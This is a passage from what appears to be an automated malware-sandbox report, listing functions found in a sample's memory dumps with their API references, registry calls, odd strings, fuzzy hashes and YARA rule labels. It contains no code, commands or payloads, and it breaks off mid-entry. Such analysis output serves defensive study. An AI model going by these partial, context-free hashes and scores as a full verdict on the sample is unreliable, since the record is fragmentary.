Instruction Fuzzy Hash: 8E12F4B4A14328CFCB65DB30C848A98B7B6BF48305F2084EAD64AA7350CB719EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 002380F1, Relevance: 3.4, APIs: 2, Instructions: 391COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 00238115
KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 9999396d9419a64655def3dc94b94b88429b54302cf88526cb0570e83aa3659c
Instruction ID: 2a4b91f7a99c8f3f0832c6fb7d536b59f0fd830ada2ebc002206ce11d0968bac
Opcode Fuzzy Hash: 9999396d9419a64655def3dc94b94b88429b54302cf88526cb0570e83aa3659c
Instruction Fuzzy Hash: 7712F4B4A18328CFCB65DB30C848A98B7B6BF48305F1084EAD64AA7350CB759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 002A0820, Relevance: 3.0, Strings: 2, Instructions: 499COMMON

Download Yara Rule

Strings

48>m, xrefs: 002A0DBF
48>m, xrefs: 002A0E23

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID: 48>m$48>m
API String ID: 0-2625395633
Opcode ID: f98aa0efa51dabb256bce15c071967e62d7c77a00999f791fded082e46b01bdb
Instruction ID: 44081dd423b68922db714e0c1e949a281711447130a4723f58d4996bb2d53a7d
Opcode Fuzzy Hash: f98aa0efa51dabb256bce15c071967e62d7c77a00999f791fded082e46b01bdb
Instruction Fuzzy Hash: 8612B230A142098FCB14EFB4D894A9EBBF6AF86308F148879E1159B396DF35DC45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 002A0D28, Relevance: 2.6, Strings: 2, Instructions: 138COMMON

Download Yara Rule

Strings

48>m, xrefs: 002A0DBF
48>m, xrefs: 002A0E23

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID: 48>m$48>m
API String ID: 0-2625395633
Opcode ID: 76877967bb32d0c64b1b5c702109a359d1794817adcfb239bf5b1c8aad448a93
Instruction ID: cd2c08d6be3bae2848608f1c9398ed834027b9156a2dc243e3c4e83b90d2ecc7
Opcode Fuzzy Hash: 76877967bb32d0c64b1b5c702109a359d1794817adcfb239bf5b1c8aad448a93
Instruction Fuzzy Hash: A341C634A203099FCB04EFB4D884AAEB7B5FF89304F148979E1169B395DF70E9548B91

Uniqueness

Uniqueness Score: -1.00%

Function 0023814C, Relevance: 1.9, APIs: 1, Instructions: 380COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: da68224c3158965657fbcb72512d6e8c832bc9be81602ae729f8ce6e80d81ce8
Instruction ID: 735024bb5611589fd33ec6d786e04dba8a9fd1bcac0cb77fd76a030877405e92
Opcode Fuzzy Hash: da68224c3158965657fbcb72512d6e8c832bc9be81602ae729f8ce6e80d81ce8
Instruction Fuzzy Hash: 3C02E4B4A18328CFCB65DB30C848A98B7B6BF48305F1084EAD64AA7350CB759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238191, Relevance: 1.9, APIs: 1, Instructions: 373COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fe6acb79043b0d6bbd67134e35528f1e1f7a384452f8b91efbebd71d3241f9ec
Instruction ID: 848ed6935185b2c720a17841cf99bceebe8d89ab41d05493dee991822f638215
Opcode Fuzzy Hash: fe6acb79043b0d6bbd67134e35528f1e1f7a384452f8b91efbebd71d3241f9ec
Instruction Fuzzy Hash: 9702F4B4A14328CFCB65DB30C848A98B7B6BF48305F2084EAD64AA7350CB759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 002381D6, Relevance: 1.9, APIs: 1, Instructions: 366COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0772150c9894a0ca8e2c43f216b689bfa7a5c9495c6640c8c07763f147a76f1f
Instruction ID: f38842119d035b11cd53fee3a02d960c08073bb33933a8c418c834c390fdcb83
Opcode Fuzzy Hash: 0772150c9894a0ca8e2c43f216b689bfa7a5c9495c6640c8c07763f147a76f1f
Instruction Fuzzy Hash: 2702E4B4A14328CFCB64DB30C848A98B7B6BF48305F1084EAD64AA7750CB759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0023821B, Relevance: 1.9, APIs: 1, Instructions: 359COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1921d91f8e78d7317bf9e302a85da74c7aa9bb21c8152655cad1b51d327bd0ef
Instruction ID: c40ac9effd6a0b9160f773903827ee06d59ba5c4071ccfbcdf39b7786a5efa55
Opcode Fuzzy Hash: 1921d91f8e78d7317bf9e302a85da74c7aa9bb21c8152655cad1b51d327bd0ef
Instruction Fuzzy Hash: 100203B4A14329CFCB64DB30C848A98B7B6BF88305F1084EAD64AA7350CB759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238260, Relevance: 1.9, APIs: 1, Instructions: 352COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 418b07f9af2bdff3e85d1dcac35a752b5de37e709e5e675d2d84a6f3d0fc1a0c
Instruction ID: eea3318d47f3dd3a7e7eb5c8d0fd7a99e9b68a99b052422c7c72b10514a7b261
Opcode Fuzzy Hash: 418b07f9af2bdff3e85d1dcac35a752b5de37e709e5e675d2d84a6f3d0fc1a0c
Instruction Fuzzy Hash: 1EF1F4B4A14228CFCB64DB30C848A98B7B6BF88305F1084EAD64AA7750CF759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 002382A5, Relevance: 1.8, APIs: 1, Instructions: 343COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: aecaa522a116d5127bb1ebf5511f1c8691f4c23f22e1bc801deed936af9a52a7
Instruction ID: d64c7f35f47f84c1985ec35f210d815d7981ed84f444f285ea11479ad7bc70f6
Opcode Fuzzy Hash: aecaa522a116d5127bb1ebf5511f1c8691f4c23f22e1bc801deed936af9a52a7
Instruction Fuzzy Hash: F4F105B4A14229CFCB64DB30C848A98B7B6BF88305F1084EAD60AA7750CF759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 002382E1, Relevance: 1.8, APIs: 1, Instructions: 338COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 7e6e2dc4d4f5d2462ed17d5fba33189f0ca87a229eb1b076d2ae1604c74acc3f
Instruction ID: 9bb08c4821da15646135638d42fe924151ef9ac6948d7e9eb522b7083a603bc4
Opcode Fuzzy Hash: 7e6e2dc4d4f5d2462ed17d5fba33189f0ca87a229eb1b076d2ae1604c74acc3f
Instruction Fuzzy Hash: 3AF104B4A14229CFCB64DB30C848A98B7B6BF88305F1084EAD60AA7750CF759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238329, Relevance: 1.8, APIs: 1, Instructions: 331COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e3f6b6a202bae42a549c959031e899bbe3a196320b69f6ae4d0500cb54ee6264
Instruction ID: 69d61cbd9779a903a04fa5557f3da6ba590f8390239d55b6d494247820ee1f50
Opcode Fuzzy Hash: e3f6b6a202bae42a549c959031e899bbe3a196320b69f6ae4d0500cb54ee6264
Instruction Fuzzy Hash: 1EF104B4A14229CFCB64DB30C848A98B7B6BF88305F1084EAD60AA7750CF759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238371, Relevance: 1.8, APIs: 1, Instructions: 324COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1ed4210c387506660460acf9fe78ac6bd4d1d6ffa338a8a64edbcea87edcf7a0
Instruction ID: 9d9a92a86ac7e682eab7e35a180b9f56ff7626ef57efcede317a69c8414b2c80
Opcode Fuzzy Hash: 1ed4210c387506660460acf9fe78ac6bd4d1d6ffa338a8a64edbcea87edcf7a0
Instruction Fuzzy Hash: D5E106B4A14229CFCB64DB30C848698B7B6BF88305F1084EAD60AA7750CF759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 002383B9, Relevance: 1.8, APIs: 1, Instructions: 317COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 23a20b3943a69c56b85ec5cab3dd9cae0bf4380c0b916ce7bfe30a3a08a088d8
Instruction ID: 7cd6c122234e5d905ceb7193949bc44ed48ab84829cc4778103fbcff981d4b31
Opcode Fuzzy Hash: 23a20b3943a69c56b85ec5cab3dd9cae0bf4380c0b916ce7bfe30a3a08a088d8
Instruction Fuzzy Hash: D2E1F5B4A14229CFCB64DB30C848A98B7B6BF88305F1084EAD60AA7750CF759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238401, Relevance: 1.8, APIs: 1, Instructions: 310COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0ef51ccb815722f9fc45215b8b9f9e729b6187d5decd586017768df4fdb84c61
Instruction ID: b23faff0c9d88bf823f1c164a78f8562bf564b68a256e9f0c5b4b7c72248c5e0
Opcode Fuzzy Hash: 0ef51ccb815722f9fc45215b8b9f9e729b6187d5decd586017768df4fdb84c61
Instruction Fuzzy Hash: 5CE1F5B4A14229CFCB64DB30C848A98B7B6BF88305F1084EAD60AA7750CF759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238449, Relevance: 1.8, APIs: 1, Instructions: 301COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d65cef7ea59c90afa65f186bbc6f95eae6fc646719b0ee14c948a5510062e408
Instruction ID: 875351abc9ba9fcdb1bc5ed0bd6d91ba8d6de0bf5ec0f59e1eac17ddeb4665ab
Opcode Fuzzy Hash: d65cef7ea59c90afa65f186bbc6f95eae6fc646719b0ee14c948a5510062e408
Instruction Fuzzy Hash: 67E105B4A14229CFCB64DB30C848698B7B6BF88305F1084EAD60AA7750CF759EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238485, Relevance: 1.8, APIs: 1, Instructions: 296COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1b97919e8a3025264126115291b1493b1c427b766ee32f57ba334477fe96083d
Instruction ID: ea062f5e11bbd7505628d3fcfe20d8f833c84e553b2d3afb4e64185637530bf4
Opcode Fuzzy Hash: 1b97919e8a3025264126115291b1493b1c427b766ee32f57ba334477fe96083d
Instruction Fuzzy Hash: 3CD105B4A14229CFCB64DB30C888699B7B6BF88305F1084EAD60AA7750CF359EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 002384CD, Relevance: 1.8, APIs: 1, Instructions: 289COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 78af20c1eac6ce602725ca0cd2dc509617a6ae2df047839d3d23d4887afaa3f0
Instruction ID: 04c293a8cdfd166e9a7b7a8770288d4a9e7ff5ca39516849af6c56594fa5879e
Opcode Fuzzy Hash: 78af20c1eac6ce602725ca0cd2dc509617a6ae2df047839d3d23d4887afaa3f0
Instruction Fuzzy Hash: 96D1F6B4A14229CFCB64DB30C848699B7B6BF88305F1084EAD60AA7750CF359EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238515, Relevance: 1.8, APIs: 1, Instructions: 282COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ca65d113ecd13d9b0245b81e1f22b94348bf973b7da4ccb9227316cc4efe0de7
Instruction ID: 2fe5ad548953c152b0478d5b66b2cb2332945fbc00ea7bfd8d1dd3098d9d5483
Opcode Fuzzy Hash: ca65d113ecd13d9b0245b81e1f22b94348bf973b7da4ccb9227316cc4efe0de7
Instruction Fuzzy Hash: 37D106B4A14229CFCB64DB30C8486A9B7B6BF88305F1084EAD60AA7750CF359EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0023855D, Relevance: 1.8, APIs: 1, Instructions: 275COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: bd59bd00b91b644f35dbecc93b02342921dee299246a71a1b227d7569717e2c5
Instruction ID: 76f6e3358ca999fc7e4dae9176f836a80ccc62d72e1650c9fc2d72c390012acd
Opcode Fuzzy Hash: bd59bd00b91b644f35dbecc93b02342921dee299246a71a1b227d7569717e2c5
Instruction Fuzzy Hash: 41D106B4A14229CFCB64DB30C8486A9B7B6BF88305F1084EAD60AA7750CF359EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 002385A5, Relevance: 1.8, APIs: 1, Instructions: 268COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: efcccf2def74926a5086caae3901e4d533a43e00c269e4549563cca12624f4b3
Instruction ID: 1c5c4f736ade7b4b1fc00d2488d8737e011b76aa0f60f260550e93d389aeae42
Opcode Fuzzy Hash: efcccf2def74926a5086caae3901e4d533a43e00c269e4549563cca12624f4b3
Instruction Fuzzy Hash: EDC116B4A14229CFCB64DB30C8486A9B7B6BF88305F1084EAD60AA7750CF359EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 002385ED, Relevance: 1.8, APIs: 1, Instructions: 259COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 76cc57bde8ce51c53050cf0a150cfa83311dec5b42bb9f3bc2ffe6167c12a80e
Instruction ID: caa36a95a9e57bdfea20227ce970fdfbb3c646530ab740d0207c826792693cd0
Opcode Fuzzy Hash: 76cc57bde8ce51c53050cf0a150cfa83311dec5b42bb9f3bc2ffe6167c12a80e
Instruction Fuzzy Hash: EDC116B4A14229CFCB64DB30C8486A9B7B6BF88305F1084EAD60AA7750CF359EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238629, Relevance: 1.8, APIs: 1, Instructions: 252COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 9a6c9c55b94d014fe1c7bc836d966fe1f80a2ac213f86e184be86c55d0f7090c
Instruction ID: 08776f58e453ad34377d76d5bb44f877b7c04bd7d438fa79bbe61609aadac752
Opcode Fuzzy Hash: 9a6c9c55b94d014fe1c7bc836d966fe1f80a2ac213f86e184be86c55d0f7090c
Instruction Fuzzy Hash: 08B118B4A14229CFCB64DB30C8486A9B7B6BF88305F1084EAD60AA7750CF359EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 00238665, Relevance: 1.7, APIs: 1, Instructions: 247COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 0023868C

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 520af951e3fa1a6feab755fa2ff2ddf2a069ed92b64a72f1f534fd34feb28f25
Instruction ID: 024a604579fb88a88ab9273780a1556c907e028e29ae09c03b9114e5bb8a59cb
Opcode Fuzzy Hash: 520af951e3fa1a6feab755fa2ff2ddf2a069ed92b64a72f1f534fd34feb28f25
Instruction Fuzzy Hash: BDB118B4A14229CFCB64DB30C848699B7B2BF88305F1084EAD60AA7750CF359EC5DF55

Uniqueness

Uniqueness Score: -1.00%

Function 002A2260, Relevance: 1.7, Strings: 1, Instructions: 412COMMON

Download Yara Rule

Strings

l?\, xrefs: 002A2655

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID: l?\
API String ID: 0-2224020661
Opcode ID: e9b95f0ee25bd82085c4bba05bbad5066e83dd0afc120663df0e5c3d0106c06c
Instruction ID: ed7051c02bc2da1b7a5bf93570c2d780fa437bc53933c744854e659683f31bef
Opcode Fuzzy Hash: e9b95f0ee25bd82085c4bba05bbad5066e83dd0afc120663df0e5c3d0106c06c
Instruction Fuzzy Hash: B8E1F430B193858FC712DB78986865D7BE2AF86304F1584BAE545CB297EF38CD0ACB51

Uniqueness

Uniqueness Score: -1.00%

Function 0023F020, Relevance: 1.6, APIs: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 0023F134

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 58294d0c45c2512a483f11bb21bd667511a93385f0a5cdd7acf181c7917c9100
Instruction ID: 49a973d4978ea2e86b5c458a0afab04c9c21f3a28cea987fe29157d1b41cccde
Opcode Fuzzy Hash: 58294d0c45c2512a483f11bb21bd667511a93385f0a5cdd7acf181c7917c9100
Instruction Fuzzy Hash: 274189B0E11389CFDB10CF98D544A8EBFF5AF49304F28C1AAE408AB251D7759944CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0023F2DE, Relevance: 1.6, APIs: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 0023F3A1

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 4a26bc75baaad6565dd516ab17ad0193c625b4d28f8ad77f2f901e93247b42cc
Instruction ID: 5dd5e70cf2f1befdb10d1b8de45db2fdf7f70c2ab30139f6fd1c591e3015209b
Opcode Fuzzy Hash: 4a26bc75baaad6565dd516ab17ad0193c625b4d28f8ad77f2f901e93247b42cc
Instruction Fuzzy Hash: 9B4101B1D112989FCB20CFAAD984ACEBFF5BF48700F15816AE819BB250D7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0023A3D0, Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,?,00000001,?), ref: 0023F134

Memory Dump Source

Source File: 00000005.00000002.2350768883.0000000000230000.00000040.00000001.sdmp, Offset: 00230000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 22ec645dc25bcb0e263bf979679965404a3f13284cc4528bc9a0cc2f7cac708f
Instruction ID: a7514df818b88d26fb47e9684c12032bff6d81d70756972f3cbfc6485f2e4796
Opcode Fuzzy Hash: 22ec645dc25bcb0e263bf979679965404a3f13284cc4528bc9a0cc2f7cac708f
Instruction Fuzzy Hash: 89310FB0D10249CFCB10CF99D684A8EFFF5BF48304F28856AE809AB245C7B59985CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002A24F0, Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

l?\, xrefs: 002A2655

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID: l?\
API String ID: 0-2224020661
Opcode ID: f4fb5bec1c48f0f3cbdcf43b658db12eba3430812782156666c41f2e0d4a6a78
Instruction ID: f73f403109581089405101e11cfd4bdedae03975c4bae4338605e9a9700041b5
Opcode Fuzzy Hash: f4fb5bec1c48f0f3cbdcf43b658db12eba3430812782156666c41f2e0d4a6a78
Instruction Fuzzy Hash: C8912034B143088FCB15ABB4D85866D7BE2AF86304F158879E406DB2A6EF34DD0ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 002A4269, Relevance: .4, Instructions: 422COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32e3ca9aba1b166b112ebe29b24ebf6d0c6a3dc6a1224c1b96b240ba60bb1579
Instruction ID: f177529d982acb37df94a98716ae567b4fdeb0182bcc68b693504d4f943e7076
Opcode Fuzzy Hash: 32e3ca9aba1b166b112ebe29b24ebf6d0c6a3dc6a1224c1b96b240ba60bb1579
Instruction Fuzzy Hash: 9A71AB34B442098FCB44EBB4D85866E76E3AFCA705F158439E606DB7A4EF74CC428B91

Uniqueness

Uniqueness Score: -1.00%

Function 002A8D50, Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aca4337356620275d4d7b2637c7205c2a5b196ba5194d2e1cea091e351eefb3
Instruction ID: f1851d53ad09279207ead59ad9e9523f75926725d51fccbd24b598739e5fc7ac
Opcode Fuzzy Hash: 4aca4337356620275d4d7b2637c7205c2a5b196ba5194d2e1cea091e351eefb3
Instruction Fuzzy Hash: B2C1E030B142069FCB10ABB4D848B6E7BE2AF86325F188629E515DB3E1EF358D45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02170EA9, Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2351298702.0000000002170000.00000040.00000001.sdmp, Offset: 02170000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65e22b69c84496c62667e4625604288dd98aea828ddfbb375e3b7ee695f3f61e
Instruction ID: 44ea8c29be6106d7af22f64992ac293cbac0e8da3f1ce30f4c29b600f6cb1b30
Opcode Fuzzy Hash: 65e22b69c84496c62667e4625604288dd98aea828ddfbb375e3b7ee695f3f61e
Instruction Fuzzy Hash: 1FA12230B083409FC712A77894593AA7BF2AFCA304F1984BAE549DB292EF35DC45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 002A3240, Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b7d26371ed8f08ca84719824401781b9e2aca7a15b109ad40b8b2d30b9e2604
Instruction ID: ffbc04d316d8ebeb126b351083bc34c1ba0e7684427bd086a5146114e12f3792
Opcode Fuzzy Hash: 5b7d26371ed8f08ca84719824401781b9e2aca7a15b109ad40b8b2d30b9e2604
Instruction Fuzzy Hash: 96B16930E2020A9BDF20CFA8D4847ADB7B1EB4A710F608966F415DB395DF34DE918B91

Uniqueness

Uniqueness Score: -1.00%

Function 002A3248, Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59b7e58cb189f092340951fd5b02ef20deacdba608f8112b16e2c3ce7aa50467
Instruction ID: 1985e94c6ea70dd576bc525fa27faff039ba6761ff5557c07c79223c63f56d03
Opcode Fuzzy Hash: 59b7e58cb189f092340951fd5b02ef20deacdba608f8112b16e2c3ce7aa50467
Instruction Fuzzy Hash: 64B15A70E2020A9BDF20CFA8D4847ADB7B1EB4A710F608966F415DB395DF34DE918B91

Uniqueness

Uniqueness Score: -1.00%

Function 02171258, Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2351298702.0000000002170000.00000040.00000001.sdmp, Offset: 02170000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 743b43c7199940fbfcc1055175a09358f5f23ff1f3d8aacc12e50f186e3a64b4
Instruction ID: fd5af9de8757eea1f8d98709421652d553afb551b024053dc8671eecdadb3ae4
Opcode Fuzzy Hash: 743b43c7199940fbfcc1055175a09358f5f23ff1f3d8aacc12e50f186e3a64b4
Instruction Fuzzy Hash: F3A1E234B042089FCB18EFB4D8946AE77B6AF89308F108439E506AB791DF34ED46CB55

Uniqueness

Uniqueness Score: -1.00%

Function 02170B8A, Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2351298702.0000000002170000.00000040.00000001.sdmp, Offset: 02170000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd33b12e692da1a2032c137a578d3001fff27aa47d203df37dd6d8cfd1a925e2
Instruction ID: c8f72a86b92a10e4e30f5d3b96a830ad6a8de9b35e1b7f0557000eb32ecf6cc1
Opcode Fuzzy Hash: bd33b12e692da1a2032c137a578d3001fff27aa47d203df37dd6d8cfd1a925e2
Instruction Fuzzy Hash: 7171D7747102948FEF2497A8E9443AF26EADBCE314F104826E10AD7795CF75CC8553E2

Uniqueness

Uniqueness Score: -1.00%

Function 002A4410, Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2350805178.00000000002A0000.00000040.00000001.sdmp, Offset: 002A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eff2bc644eaaf976ede76eb205f40614f4552b4542a1e649c19381fb83aa289
Instruction ID: 82f0679f82a6f5b97c08b7fde2f42e610c4966283f0611a8680b15973d93ebaa
Opcode Fuzzy Hash: 7eff2bc644eaaf976ede76eb205f40614f4552b4542a1e649c19381fb83aa289
Instruction Fuzzy Hash: 6A71AD34B402098BCB44EBB4D85876E76E7AFCA705F118839E606DB794EF74CC428B91

Uniqueness

Uniqueness Score: -1.00%

Function 02170B98, Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

